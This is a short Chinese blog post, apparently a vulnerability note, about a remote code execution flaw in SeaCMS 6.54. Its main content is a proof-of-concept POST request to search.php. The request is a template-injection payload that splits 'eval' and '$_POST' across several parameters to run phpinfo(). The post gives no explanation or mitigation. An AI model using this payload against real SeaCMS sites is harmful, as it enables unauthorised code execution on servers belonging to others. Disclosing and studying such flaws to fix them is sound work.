Seacms6.54_遠程代碼執行漏洞

棉花糖

2021年7月15日发布

030

# Seacms6.54 遠程代碼執行漏洞
==POC==

http://192.168.0.6/seacms654/search.php
POST：
searchtype=5&searchword={if{searchpage:year}&year=:e{searchpage:area}}&area=v{searchpage:letter}&letter=al{searchpage:lang}&yuyan=(join{searchpage:jq}&jq=($_P{searchpage:ver}&&ver=OST[9]))&9[]=ph&9[]=pinfo();

文章版权归作者所有，未经允许请勿转载。

THE END